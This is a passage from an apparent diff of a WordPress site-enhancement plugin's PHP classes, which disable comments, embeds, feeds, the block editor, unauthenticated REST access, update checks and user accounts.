if ( $this->are_comments_disabled_for_all_applicable_post_types() ) {
unset($methods['wp.newComment']);
}
return $methods;
}
/**
* Disables comments endpoint in REST API
*
* @link https://plugins.trac.wordpress.org/browser/disable-comments/tags/2.4.5/disable-comments.php
* @since 6.3.1
*/
public function disable_rest_api_comments_endpoints( $endpoints ) {
if ( $this->are_comments_disabled_for_all_applicable_post_types() ) {
if ( isset( $endpoints['comments'] ) ) {
unset($endpoints['comments']);
}
if ( isset( $endpoints['/wp/v2/comments'] ) ) {
unset($endpoints['/wp/v2/comments']);
}
if ( isset( $endpoints['/wp/v2/comments/(?P<id>[\\d]+)'] ) ) {
unset($endpoints['/wp/v2/comments/(?P<id>[\\d]+)']);
}
}
return $endpoints;
}
/**
* Return blank comment before inserting to DB
*
* @link https://plugins.trac.wordpress.org/browser/disable-comments/tags/2.4.5/disable-comments.php
* @since 6.3.1
*/
public function return_blank_comment( $prepared_comment, $request ) {
$post_id = absint( $request->get_param( 'post' ) );
if ( empty( $post_id ) ) {
return $prepared_comment;
}
$post = get_post( $post_id );
if ( !is_object( $post ) || !property_exists( $post, 'post_type' ) ) {
return $prepared_comment;
}
if ( !$this->is_commenting_disabled_for_post_type( $post->post_type ) ) {
return $prepared_comment;
}
return new \WP_Error('asenha_commenting_disabled', __( 'Comments are disabled for this content type.', 'admin-site-enhancements' ), array(
'status' => 403,
));
}
/**
* Show blank template on singular views when comment is disabled
*
* @since 4.9.2
*/
public function show_blank_comment_template() {
$current_post_type = get_post_type();
if ( is_singular() && $this->is_commenting_disabled_for_post_type( $current_post_type ) ) {
add_filter( 'comments_template', [$this, 'load_blank_comment_template'], 20 );
}
}
/**
* Load the actual blank comment template
*
* @since 4.9.2
*/
public function load_blank_comment_template() {
return ASENHA_PATH . 'includes/blank-comment-template.php';
}
/**
* Check if commenting is disabled for the post type
*
* @since 7.8.8
*/
public function is_commenting_disabled_for_post_type( $post_type, $options = array() ) {
if ( empty( $post_type ) || $this->is_post_type_inapplicable( $post_type ) ) {
return false;
}
if ( empty( $options ) ) {
$options = get_option( ASENHA_SLUG_U, array() );
}
$comment_is_disabled_for_post_type = false;
if ( array_key_exists( 'disable_comments', $options ) && $options['disable_comments'] ) {
$disable_comments_for = $this->get_disabled_comments_post_types( $options );
$disable_comments_type = $this->get_disable_comments_type( $options );
if ( 'only-on' === $disable_comments_type && in_array( $post_type, $disable_comments_for, true ) || 'except-on' === $disable_comments_type && !in_array( $post_type, $disable_comments_for, true ) || 'all-post-types' === $disable_comments_type ) {
$comment_is_disabled_for_post_type = true;
}
}
return $comment_is_disabled_for_post_type;
}
}
@@ -0,0 +1,108 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Disable Dashboard Widgets module
*
* @since 6.9.5
*/
class Disable_Dashboard_Widgets {
/**
* Disable dashboard widgets
*
* @since 4.2.0
*/
public function disable_dashboard_widgets() {
global $wp_meta_boxes;
// Get list of disabled widgets
$options = get_option( ASENHA_SLUG_U, array() );
$disabled_dashboard_widgets = isset( $options['disabled_dashboard_widgets'] ) ? $options['disabled_dashboard_widgets'] : array();
// Store default widgets in extra options. This will be referenced from settings field.
$dashboard_widgets = $this->get_dashboard_widgets();
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
$options_extra['dashboard_widgets'] = $dashboard_widgets;
update_option( ASENHA_SLUG_U . '_extra', $options_extra, true );
// Disable widgets
if ( is_array( $disabled_dashboard_widgets ) || is_object( $disabled_dashboard_widgets ) ) {
if ( ! empty( $disabled_dashboard_widgets ) ) {
foreach( $disabled_dashboard_widgets as $disabled_widget_id_context_priority => $is_disabled ) {
// e.g. dashboard_activity__normal__core => true/false
if ( $is_disabled ) {
$disabled_widget = explode('__', $disabled_widget_id_context_priority);
$widget_id = $disabled_widget[0];
$widget_context = $disabled_widget[1];
$widget_priority = $disabled_widget[2];
// remove_meta_box( $widget_id, get_current_screen()->base, $widget_context );
unset( $wp_meta_boxes['dashboard'][$widget_context][$widget_priority][$widget_id] );
}
}
}
}
}
/**
* Get dashboard widgets
*
* @since 4.2.0
*/
public function get_dashboard_widgets() {
global $wp_meta_boxes;
$dashboard_widgets = array();
if ( ! isset( $wp_meta_boxes['dashboard'] ) ) {
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
if ( ! array_key_exists( 'dashboard_widgets', $options_extra ) ) {
require_once ABSPATH . '/wp-admin/includes/dashboard.php';
set_current_screen( 'dashboard' );
wp_dashboard_setup();
}
}
if ( isset( $wp_meta_boxes['dashboard'] ) ) {
foreach( $wp_meta_boxes['dashboard'] as $context => $priorities ) {
foreach ( $priorities as $priority => $widgets ) {
foreach( $widgets as $widget_id => $data ) {
$widget_title = ( isset( $data['title'] ) ) ? wp_strip_all_tags( preg_replace( '/ <span.*span>/im', '', $data['title'] ) ) : 'Undetectable';
$dashboard_widgets[$widget_id] = array(
'id' => $widget_id,
'title' => $widget_title,
'context' => $context, // 'normal' or 'side'
'priority' => $priority, // 'core'
);
}
}
}
}
$dashboard_widgets = wp_list_sort( $dashboard_widgets, 'title', 'ASC', true );
return $dashboard_widgets;
}
/**
* Maybe remove welcome panel from dashboard
*
* @since 6.9.10
*/
public function maybe_remove_welcome_panel() {
$options = get_option( ASENHA_SLUG_U, array() );
$disable_welcome_panel = isset( $options['disable_welcome_panel_in_dashboard'] ) ? $options['disable_welcome_panel_in_dashboard'] : false;
if ( $disable_welcome_panel ) {
remove_action( 'welcome_panel', 'wp_welcome_panel' );
}
}
}
@@ -0,0 +1,171 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Disable Embeds module.
* Ported from the Disable Embeds plugin v1.5.0 by Pascal Birchler
* @link https://wordpress.org/plugins/disable-embeds/
*
* @since 8.0.0
*/
class Disable_Embeds {
/**
* Disable embeds on init.
*
* - Removes the needed query vars.
* - Disables oEmbed discovery.
* - Completely removes the related JavaScript.
* - Disables the core-embed/wordpress block type (WordPress 5.0+)
*
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L23
* @since 8.0.0
*/
public function disable_embeds_init() {
/* @var WP $wp */
global $wp;
// Remove the embed query var.
$wp->public_query_vars = array_diff( $wp->public_query_vars, array(
'embed',
) );
// Remove the oembed/1.0/embed REST route.
add_filter( 'rest_endpoints', [ $this, 'disable_embeds_remove_embed_endpoint'] );
// Disable handling of internal embeds in oembed/1.0/proxy REST route.
add_filter( 'oembed_response_data', [ $this, 'disable_embeds_filter_oembed_response_data' ] );
// Turn off oEmbed auto discovery.
add_filter( 'embed_oembed_discover', '__return_false' );
// Don't filter oEmbed results.
remove_filter( 'oembed_dataparse', 'wp_filter_oembed_result', 10 );
// Remove oEmbed discovery links.
remove_action( 'wp_head', 'wp_oembed_add_discovery_links' );
// Remove oEmbed-specific JavaScript from the front-end and back-end.
remove_action( 'wp_head', 'wp_oembed_add_host_js' );
add_filter( 'tiny_mce_plugins', [ $this, 'disable_embeds_tiny_mce_plugin' ] );
// Remove all embeds rewrite rules.
add_filter( 'rewrite_rules_array', [ $this, 'disable_embeds_rewrites' ] );
// Remove filter of the oEmbed result before any HTTP requests are made.
remove_filter( 'pre_oembed_result', 'wp_filter_pre_oembed_result', 10 );
// Load block editor JavaScript.
add_action( 'enqueue_block_editor_assets', [ $this, 'disable_embeds_enqueue_block_editor_assets' ] );
// Remove wp-embed dependency of wp-edit-post script handle.
add_action( 'wp_default_scripts', [ $this, 'disable_embeds_remove_script_dependencies' ] );
}
/**
* Removes the oembed/1.0/embed REST route.
*
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L128
* @since 8.0.0
*
* @param array $endpoints Registered REST API endpoints.
* @return array Filtered REST API endpoints.
*/
public function disable_embeds_remove_embed_endpoint( $endpoints ) {
unset( $endpoints['/oembed/1.0/embed'] );
return $endpoints;
}
/**
* Disables sending internal oEmbed response data in proxy endpoint.
*
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L142
* @since 8.0.0
*
* @param array $data The response data.
* @return array|false Response data or false if in a REST API context.
*/
public function disable_embeds_filter_oembed_response_data( $data ) {
if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) {
return false;
}
return $data;
}
/**
* Removes the 'wpembed' TinyMCE plugin.
*
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L74
* @since 8.0.0
*
* @param array $plugins List of TinyMCE plugins.
* @return array The modified list.
*/
public function disable_embeds_tiny_mce_plugin( $plugins ) {
return array_diff( $plugins, array( 'wpembed' ) );
}
/**
* Remove all rewrite rules related to embeds.
*
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L86
* @since 8.0.0
*
* @param array $rules WordPress rewrite rules.
* @return array Rewrite rules without embeds rules.
*/
public function disable_embeds_rewrites( $rules ) {
foreach ( $rules as $rule => $rewrite ) {
if ( false !== strpos( $rewrite, 'embed=true' ) ) {
unset( $rules[ $rule ] );
}
}
return $rules;
}
/**
* Enqueues JavaScript for the block editor.
*
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L157
* @since 8.0.0
*
* This is used to unregister the `core-embed/wordpress` block type.
*/
public function disable_embeds_enqueue_block_editor_assets() {
$asset_file = ASENHA_PATH . 'includes/disable-embeds/build/index.asset.php';
$asset = is_readable( $asset_file ) ? require $asset_file : [];
$asset['dependencies'] = isset( $asset['dependencies'] ) ? $asset['dependencies'] : [];
$asset['version'] = isset( $asset['version'] ) ? $asset['version'] : '';
wp_enqueue_script(
'disable-embeds',
plugins_url( 'includes/disable-embeds/build/index.js', __DIR__ ),
$asset['dependencies'],
$asset['version'],
true
);
}
/**
* Removes wp-embed dependency of core packages.
*
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L180
* @since 8.0.0
*
* @param WP_Scripts $scripts WP_Scripts instance, passed by reference.
*/
public function disable_embeds_remove_script_dependencies( $scripts ) {
if ( ! empty( $scripts->registered['wp-edit-post'] ) ) {
$scripts->registered['wp-edit-post']->deps = array_diff(
$scripts->registered['wp-edit-post']->deps,
array( 'wp-embed' )
);
}
}
}
@@ -0,0 +1,24 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Disable Feeds module
*
* @since 6.9.5
*/
class Disable_Feeds {
/**
* Ensure /feed/ page outputs a 403 Forbidden header and message
*
* @since 5.5.2
*/
public function redirect_feed_to_403() {
if ( is_feed() ) {
status_header( 403 ); // Send an HTTP 403 Forbidden status header
die( '403 Forbidden' ); // End execution and display a 403 Forbidden message
}
}
}
@@ -0,0 +1,189 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Disable Gutenberg module
*
* @since 6.9.5
*/
class Disable_Gutenberg {
/**
* Disable Gutenberg in wp-admin for some or all post types
*
* @since 2.8.0
*/
public function disable_gutenberg_for_post_types_admin() {
// Get current page's post type from WP core globals and query parameters
global $pagenow, $typenow;
$post_type = null;
if ( 'edit.php' === $pagenow ) {
// on the list table screen, $typenow returns correct post type
$post_type = $typenow;
} elseif ( 'post.php' === $pagenow ) {
// on the edit screen, $typenow is empty, so we detect it
$post_type = ( isset( $_GET['post'] ) ? get_post_type( $_GET['post'] ) : 'post' );
} elseif ( 'post-new.php' === $pagenow ) {
// on the add new screen, best to get post type from GET parameter
$post_type = ( isset( $_GET['post_type'] ) ? $_GET['post_type'] : 'post' );
} else {
}
// Check if Gutenberg feature is enabled for the site
// Before/after WP v5.0.0 via feature plugin
$gutenberg = function_exists( 'gutenberg_register_scripts_and_styles' );
// Since WP v5.0.0, gutenberg is in core
$block_editor = has_action( 'enqueue_block_assets' );
// Gutenberg feature is not enabled for the site
if ( !$gutenberg && false === $block_editor ) {
return;
// do nothing
}
// Assemble single-dimensional array of post types for which Gutenberg should be disabled
$options = get_option( ASENHA_SLUG_U );
$disable_gutenberg_type = 'only-on';
$disable_gutenberg_for = $options['disable_gutenberg_for'];
$post_types_for_disable_gutenberg = array();
foreach ( $disable_gutenberg_for as $post_type_slug => $is_gutenberg_disabled ) {
if ( $is_gutenberg_disabled ) {
$post_types_for_disable_gutenberg[] = $post_type_slug;
}
}
// Selectively disable Gutenberg
if ( 'only-on' == $disable_gutenberg_type && in_array( $post_type, $post_types_for_disable_gutenberg ) || 'except-on' == $disable_gutenberg_type && !in_array( $post_type, $post_types_for_disable_gutenberg ) || 'all-post-types' == $disable_gutenberg_type ) {
// For WP v5.0.0 upwards
add_filter( 'use_block_editor_for_post_type', '__return_false', 100 );
// If Gutenberg feature plugin is activated
if ( $gutenberg ) {
add_filter( 'gutenberg_can_edit_post_type', '__return_false', 100 );
$this->remove_all_gutenberg_hooks();
}
}
}
/**
* Remove Gutenberg hooks added via feature plugin.
*
* @link https://plugins.trac.wordpress.org/browser/classic-editor/tags/1.6.2/classic-editor.php#L138
* @since 2.8.0
*/
public function remove_all_gutenberg_hooks() {
remove_action( 'admin_menu', 'gutenberg_menu' );
remove_action( 'admin_init', 'gutenberg_redirect_demo' );
// Gutenberg 5.3+
remove_action( 'wp_enqueue_scripts', 'gutenberg_register_scripts_and_styles' );
remove_action( 'admin_enqueue_scripts', 'gutenberg_register_scripts_and_styles' );
remove_action( 'admin_notices', 'gutenberg_wordpress_version_notice' );
remove_action( 'rest_api_init', 'gutenberg_register_rest_widget_updater_routes' );
remove_action( 'admin_print_styles', 'gutenberg_block_editor_admin_print_styles' );
remove_action( 'admin_print_scripts', 'gutenberg_block_editor_admin_print_scripts' );
remove_action( 'admin_print_footer_scripts', 'gutenberg_block_editor_admin_print_footer_scripts' );
remove_action( 'admin_footer', 'gutenberg_block_editor_admin_footer' );
remove_action( 'admin_enqueue_scripts', 'gutenberg_widgets_init' );
remove_action( 'admin_notices', 'gutenberg_build_files_notice' );
remove_filter( 'load_script_translation_file', 'gutenberg_override_translation_file' );
remove_filter( 'block_editor_settings', 'gutenberg_extend_block_editor_styles' );
remove_filter( 'default_content', 'gutenberg_default_demo_content' );
remove_filter( 'default_title', 'gutenberg_default_demo_title' );
remove_filter( 'block_editor_settings', 'gutenberg_legacy_widget_settings' );
remove_filter( 'rest_request_after_callbacks', 'gutenberg_filter_oembed_result' );
// Previously used, compat for older Gutenberg versions.
remove_filter( 'wp_refresh_nonces', 'gutenberg_add_rest_nonce_to_heartbeat_response_headers' );
remove_filter( 'get_edit_post_link', 'gutenberg_revisions_link_to_editor' );
remove_filter( 'wp_prepare_revision_for_js', 'gutenberg_revisions_restore' );
remove_action( 'rest_api_init', 'gutenberg_register_rest_routes' );
remove_action( 'rest_api_init', 'gutenberg_add_taxonomy_visibility_field' );
remove_filter( 'registered_post_type', 'gutenberg_register_post_prepare_functions' );
remove_action( 'do_meta_boxes', 'gutenberg_meta_box_save' );
remove_action( 'submitpost_box', 'gutenberg_intercept_meta_box_render' );
remove_action( 'submitpage_box', 'gutenberg_intercept_meta_box_render' );
remove_action( 'edit_page_form', 'gutenberg_intercept_meta_box_render' );
remove_action( 'edit_form_advanced', 'gutenberg_intercept_meta_box_render' );
remove_filter( 'redirect_post_location', 'gutenberg_meta_box_save_redirect' );
remove_filter( 'filter_gutenberg_meta_boxes', 'gutenberg_filter_meta_boxes' );
remove_filter( 'body_class', 'gutenberg_add_responsive_body_class' );
remove_filter( 'admin_url', 'gutenberg_modify_add_new_button_url' );
// old
remove_action( 'admin_enqueue_scripts', 'gutenberg_check_if_classic_needs_warning_about_blocks' );
remove_filter( 'register_post_type_args', 'gutenberg_filter_post_type_labels' );
}
/**
* Disable Gutenberg styles and scripts on the front end for all or some post types
*
* @since 2.8.0
*/
public function disable_gutenberg_for_post_types_frontend() {
global $post;
if ( is_numeric( $post ) ) {
$post = get_post( (int) $post );
}
if ( !is_object( $post ) || !property_exists( $post, 'post_type' ) ) {
return;
}
$post_type = $post->post_type;
// Assemble single-dimensional array of post types for which Gutenberg should be disabled
$options = get_option( ASENHA_SLUG_U );
$disable_gutenberg_type = 'only-on';
$disable_gutenberg_for = $options['disable_gutenberg_for'];
$post_types_for_disable_gutenberg = array();
foreach ( $disable_gutenberg_for as $post_type_slug => $is_gutenberg_disabled ) {
if ( $is_gutenberg_disabled ) {
$post_types_for_disable_gutenberg[] = $post_type_slug;
}
}
// Selectively disable for the selected post types
if ( 'only-on' == $disable_gutenberg_type && in_array( $post_type, $post_types_for_disable_gutenberg ) || 'except-on' == $disable_gutenberg_type && !in_array( $post_type, $post_types_for_disable_gutenberg ) || 'all-post-types' == $disable_gutenberg_type ) {
global $wp_styles;
// As needed, exclude some block styles from dequeuing
$keep_enqueued = array();
// e.g. array( 'wp-block-navigation' );
foreach ( $wp_styles->queue as $handle ) {
// For all stye handles that starts with 'wp-block', e.g. 'wp-block-library', 'wp-block-library-theme'
if ( false !== strpos( $handle, 'wp-block' ) ) {
if ( !in_array( $handle, $keep_enqueued ) ) {
wp_dequeue_style( $handle );
wp_deregister_style( $handle );
}
}
}
// Additional dequeuing
wp_dequeue_style( 'core-block-supports' );
wp_deregister_style( 'core-block-supports' );
wp_dequeue_style( 'global-styles' );
// theme.json
wp_deregister_style( 'global-styles' );
// theme.json
wp_dequeue_style( 'classic-theme-styles' );
// classic theme
wp_deregister_style( 'classic-theme-styles' );
// classic theme
wp_dequeue_style( 'wp-block-library' );
wp_deregister_style( 'wp-block-library' );
}
// wp_deregister_style( 'wp-block-library' );
}
/**
* Temporary fix for Safari 18 negative horizontal margin on floats.
* [TODO] Remove when Safari 18 implements a fix on their end.
*
* @link https://wordpress.org/support/topic/safari-18-0-breaking-classic-editor/
* @link https://plugins.trac.wordpress.org/changeset/3158976/classic-editor/trunk/classic-editor.php
*/
public function safari_18_fix() {
global $current_screen;
if ( isset( $current_screen->base ) && 'post' === $current_screen->base ) {
$clear = ( is_rtl() ? 'right' : 'left' );
?>
<style id="classic-editor-safari-18-temp-fix">
_::-webkit-full-page-media, _:future, :root #post-body #postbox-container-2 {
clear: <?php
echo $clear;
?>;
}
</style>
<?php
}
}
}
@@ -0,0 +1,78 @@
<?php
namespace ASENHA\Classes;
use WP_Error;
/**
* Class for Disable REST API module
*
* @since 6.9.5
*/
class Disable_REST_API {
/**
* REST API access gate (runs after core authentication handlers).
*
* Role checks use the logged-in auth cookie when core has cleared the current user
* for requests without an X-WP-Nonce (see rest_cookie_check_errors at priority 100).
*
* @since 2.9.0
*
* @param WP_Error|null|true $errors Prior filter value from rest_authentication_errors.
* @return WP_Error|null|true
*/
public function disable_rest_api( $errors ) {
// Respect prior filter callbacks — e.g. core incorrect_password or rest_cookie_invalid_nonce.
if ( is_wp_error( $errors ) ) {
return $errors;
}
$allow_rest_api_access = false;
// Get the REST API route being requested,e.g. wp/v2/posts | altcha/v1/challenge (without preceding slash /)
// Ref: https://developer.wordpress.org/reference/hooks/rest_authentication_errors/#comment-6463
$route = ltrim( $GLOBALS['wp']->query_vars['rest_route'], '/' );
$route = rtrim( $route, '/' );
if ( empty( $route ) ) {
// This is when visiting /wp-json root
$allow_rest_api_access = false;
} elseif ( false !== strpos( $route, 'altcha/v1' ) || false !== strpos( $route, 'two-factor/1.0' ) || in_array( 'contact-form-7/wp-contact-form-7.php', get_option( 'active_plugins', array() ) ) && false !== strpos( $route, 'contact-form-7/' ) || in_array( 'the-events-calendar/the-events-calendar.php', get_option( 'active_plugins', array() ) ) && false !== strpos( $route, 'tribe/' ) ) {
$allow_rest_api_access = true;
} else {
}
$user = $this->get_user_for_rest_access_check();
if ( $user->exists() ) {
$allow_rest_api_access = true;
}
if ( !$allow_rest_api_access ) {
return new WP_Error('rest_api_authentication_required', __( 'The REST API has been restricted to authenticated users.', 'admin-site-enhancements' ), array(
'status' => rest_authorization_required_code(),
));
}
// Allow path: pass through unchanged so core's `true` is preserved.
return $errors;
}
/**
* User to evaluate for REST role allowlist.
*
* rest_cookie_check_errors (priority 100) may clear the current user when no REST nonce
* is sent, so fall back to the logged-in auth cookie for role checks at priority 200.
*
* @since 8.8.2
*
* @return \WP_User
*/
private function get_user_for_rest_access_check() {
$user = wp_get_current_user();
if ( $user->exists() ) {
return $user;
}
$user_id = wp_validate_auth_cookie( '', 'logged_in' );
if ( $user_id ) {
$user = get_userdata( $user_id );
if ( $user instanceof \WP_User ) {
return $user;
}
}
return new \WP_User(0);
}
}
@@ -0,0 +1,243 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Disable Smaller Components module
*
* @since 6.9.5
*/
class Disable_Smaller_Components {
/**
* Remove version number from URLs of static resources (CSS, JS)
*
* @since 5.8.0
*/
public function remove_resource_version_number( $src ) {
if ( ! is_user_logged_in() ) {
// https://wordpress.org/support/topic/disable-smaller-components-version-can-be-hidden/
if ( strpos( $src, 'ver=' ) ) {
$src = remove_query_arg( 'ver', $src );
}
}
return $src;
}
/**
* Remove generator tag from RSS feed
*
* @since 7.3.3
*/
public function remove_feed_generator_tag( $generator_type, $type ) {
// e.g. <generator>https://wordpress.org/?v=6.6.1</generator>
if ( false !== strpos( $generator_type, '<generator>https://wordpress.org/?v=' ) ) {
return '';
}
}
/**
* Disable loading of frontend public assets of dashicons
*
* @since 4.5.0
*/
public function disable_dashicons_public_assets() {
global $pagenow;
if ( ! is_user_logged_in() ) {
// This will get /path/file.php?param=val portion of the full URL
$current_request_uri = sanitize_text_field( $_SERVER['REQUEST_URI'] );
if ( empty( $current_request_uri ) ) {
// On the homepage
wp_dequeue_style( 'dashicons' );
wp_deregister_style( 'dashicons' );
} else {
// Exclude the login page, where dashicon assets are requred to properly style the page
if ( false !== strpos( $current_request_uri, 'wp-login.php' ) || 'wp-login.php' === $pagenow ) {
// On wp-login.php, so, do nothing
}
// Exclude password protection form
elseif ( false !== strpos( $current_request_uri, 'protected-page=view' ) ) {
// On protected-page=view, so, do nothing
}
else {
// NOT on wp-login.php, e.g. www.example.com/an-article/, so, dequeue dashicons
wp_dequeue_style( 'dashicons' );
wp_deregister_style( 'dashicons' );
}
}
}
}
/**
* Disable emoji support
*
* @since 4.5.0
*/
public function disable_emoji_support() {
remove_action( 'wp_head', 'print_emoji_detection_script', 7 );
remove_action( 'embed_head', 'print_emoji_detection_script' );
remove_action( 'wp_print_styles', 'print_emoji_styles' );
remove_filter( 'the_content_feed', 'wp_staticize_emoji' );
remove_filter( 'comment_text_rss', 'wp_staticize_emoji' );
remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' );
add_action( 'admin_init', [ $this, 'disable_admin_emojis' ] );
add_filter( 'emoji_svg_url', '__return_false' );
add_filter( 'tiny_mce_plugins', [ $this, 'disable_emoji_for_tinymce' ] );
add_filter( 'wp_resource_hints', [ $this, 'disable_emoji_remove_dns_prefetch' ], 10, 2 );
add_filter( 'option_use_smilies', '__return_false' );
}
/**
* Disable jQuery Migrate
*
* @since 5.8.0
* @link https://plugins.trac.wordpress.org/browser/remove-jquery-migrate/trunk/remove-jquery-migrate.php
* @param WP_Scripts $scripts WP_Scripts object.
*/
public function disable_jquery_migrate( $scripts ) {
if ( ! is_admin() && isset( $scripts->registered['jquery'] ) ) {
$script = $scripts->registered['jquery'];
if ( ! empty( $script->deps ) ) { // Check whether the script has any dependencies
$script->deps = array_diff( $script->deps, array( 'jquery-migrate' ) );
}
}
}
/**
* Remove the tinymce emoji plugin
*
* @since 4.5.0
*/
public function disable_emoji_for_tinymce( $plugins ) {
if ( is_array( $plugins ) ) {
return array_diff( $plugins, array( 'wpemoji' ) );
}
return array();
}
/**
* Remove emoji CDN hostname from DNS prefetching hints.
*
* @since 4.5.0
*/
public function disable_emoji_remove_dns_prefetch( $urls, $relation_type ) {
if ( 'dns-prefetch' == $relation_type ) {
// Strip out any URLs referencing the WordPress.org emoji location
$emoji_svg_url_base = 'https://s.w.org/images/core/emoji/';
foreach ( $urls as $key => $url ) {
if ( is_string( $url ) && false !== strpos( $url, $emoji_svg_url_base ) ) {
unset( $urls[$key] );
}
}
}
return $urls;
}
/**
* Disable emojis in wp-admin
*
* @since 4.7.2
*/
public function disable_admin_emojis() {
remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
remove_action( 'admin_print_styles', 'print_emoji_styles' );
}
/**
* Add loading="eager" attribute for featured images
*
* @link https://plugins.trac.wordpress.org/browser/disable-lazy-loading/tags/2.1/disable-lazy-loading.php
* @since 7.3.0
*/
public function eager_load_featured_images( $attr, $attachment = null ) {
$attr['loading'] = 'eager';
return $attr;
}
/**
* Disable plugin and theme editor
*
* @since 7.4.5
*/
public function disable_plugin_theme_editor() {
if ( wp_doing_ajax() || wp_doing_cron() ) {
return;
}
if ( ! current_user_can( 'manage_options' ) ) {
return;
}
$wp_config = new WP_Config_Transformer;
if ( ! defined( 'DISALLOW_FILE_EDIT' ) ) {
define( 'DISALLOW_FILE_EDIT', true );
} else {
$is_wpconfig_writeable = $wp_config->wpconfig_file( 'writeability' );
if ( $is_wpconfig_writeable ) {
$disallow_file_edit = $wp_config->get_value( 'constant', 'DISALLOW_FILE_EDIT' );
if ( 'false' == $disallow_file_edit ) {
$wp_config_options = array(
'add' => true, // Add the config if missing.
'raw' => true, // Display value in raw format without quotes.
'normalize' => false, // Normalize config output using WP Coding Standards.
);
$update_success = $wp_config->update( 'constant', 'DISALLOW_FILE_EDIT', 'true', $wp_config_options );
}
}
}
}
/**
* Enable plugin and theme editor
*
* @since 7.4.5
*/
public function enable_plugin_theme_editor() {
if ( wp_doing_ajax() || wp_doing_cron() ) {
return;
}
if ( ! current_user_can( 'manage_options' ) ) {
return;
}
$wp_config = new WP_Config_Transformer;
if ( ! defined( 'DISALLOW_FILE_EDIT' ) ) {
define( 'DISALLOW_FILE_EDIT', false );
} else {
$is_wpconfig_writeable = $wp_config->wpconfig_file( 'writeability' );
if ( $is_wpconfig_writeable ) {
$disallow_file_edit = $wp_config->get_value( 'constant', 'DISALLOW_FILE_EDIT' );
if ( 'true' == $disallow_file_edit ) {
$wp_config_options = array(
'add' => true, // Add the config if missing.
'raw' => true, // Display value in raw format without quotes.
'normalize' => false, // Normalize config output using WP Coding Standards.
);
$update_success = $wp_config->update( 'constant', 'DISALLOW_FILE_EDIT', 'false', $wp_config_options );
}
}
}
}
}
@@ -0,0 +1,103 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Disable Updates module
*
* @since 6.9.5
*/
class Disable_Updates {
/**
* Disable updates and related functionalities
*
* @since 4.0.0
*/
public function disable_update_notices_version_checks() {
// Remove nags
remove_action( 'admin_notices', 'update_nag', 3 );
remove_action( 'admin_notices', 'maintenance_nag' );
// Disable WP version check
remove_action( 'wp_version_check', 'wp_version_check' );
remove_action( 'admin_init', 'wp_version_check' );
wp_clear_scheduled_hook( 'wp_version_check' );
add_filter( 'pre_option_update_core', '__return_null' );
// Disable theme version checks
remove_action( 'wp_update_themes', 'wp_update_themes' );
remove_action( 'admin_init', '_maybe_update_themes' );
wp_clear_scheduled_hook( 'wp_update_themes' );
remove_action( 'load-themes.php', 'wp_update_themes' );
remove_action( 'load-update.php', 'wp_update_themes' );
remove_action( 'load-update-core.php', 'wp_update_themes' );
// Disable plugin version checks
remove_action( 'wp_update_plugins', 'wp_update_plugins' );
remove_action( 'admin_init', '_maybe_update_plugins' );
wp_clear_scheduled_hook( 'wp_update_plugins' );
remove_action( 'load-plugins.php', 'wp_update_plugins' );
remove_action( 'load-update.php', 'wp_update_plugins' );
remove_action( 'load-update-core.php', 'wp_update_plugins' );
// Disable auto updates
wp_clear_scheduled_hook( 'wp_maybe_auto_update' );
remove_action( 'wp_maybe_auto_update', 'wp_maybe_auto_update' );
remove_action( 'admin_init', 'wp_maybe_auto_update' );
remove_action( 'admin_init', 'wp_auto_update_core' );
// Disable Site Health checks
add_filter( 'site_status_tests', [ $this, 'disable_update_checks_in_site_health' ] );
}
/**
* Override version check info stored in transients named update_core, update_plugins, update_themes.
*
* @since 4.0.0
*/
public function override_version_check_info() {
include( ABSPATH . WPINC . '/version.php' ); // get $wp_version from here
$current = (object)array(); // create empty object
$current->updates = array();
$current->response = array();
$current->version_checked = $wp_version;
$current->last_checked = time();
return $current;
}
/**
* Disable Background Updates and Auto-Updates tests in Site Health tests
*
* @since 4.0.0
*/
public function disable_update_checks_in_site_health( $tests ) {
unset( $tests['async']['background_updates'] );
unset( $tests['direct']['plugin_theme_auto_updates'] );
return $tests;
}
/**
* Remove Dashboard >> Updates menu item
*
* @since 4.0.0
*/
public function remove_updates_menu() {
global $submenu;
remove_submenu_page( 'index.php', 'update-core.php' );
}
}
@@ -0,0 +1,457 @@
<?php
namespace ASENHA\Classes;
/**
* Disable User Account module: block login, list-table UI, profile field.
*
* @since 8.7.4
*/
class Disable_User_Account {
/**
* User meta flag when login is disabled.
*
* @var string
*/
const META_KEY = 'asenha_user_account_disabled';
/**
* WP_Error code when login is blocked for a disabled account (shared with Change Login URL redirect).
*
* @since 8.7.4
*
* @var string
*/
public const ERROR_CODE = 'asenha_account_disabled';
/**
* Set during authenticate when blocking a disabled user; consumed by Change Login URL on wp_login_failed.
*
* @since 8.7.5
*
* @var int|null
*/
private static $pending_disabled_login_redirect_user_id = null;
/**
* Register WordPress hooks for this module.
*
* @since 8.7.4
*/
public function register_hooks() {
add_filter( 'authenticate', array( $this, 'block_disabled_user_login' ), 30, 3 );
add_action( 'init', array( $this, 'maybe_force_logout_disabled_user' ), 1 );
add_filter( 'wp_is_application_passwords_available_for_user', array( $this, 'filter_application_passwords_for_user' ), 10, 2 );
add_filter( 'manage_users_columns', array( $this, 'add_status_column' ), PHP_INT_MAX - 10 );
add_filter( 'manage_users_custom_column', array( $this, 'render_status_column' ), 10, 3 );
add_filter( 'user_row_actions', array( $this, 'add_user_row_actions' ), 10, 2 );
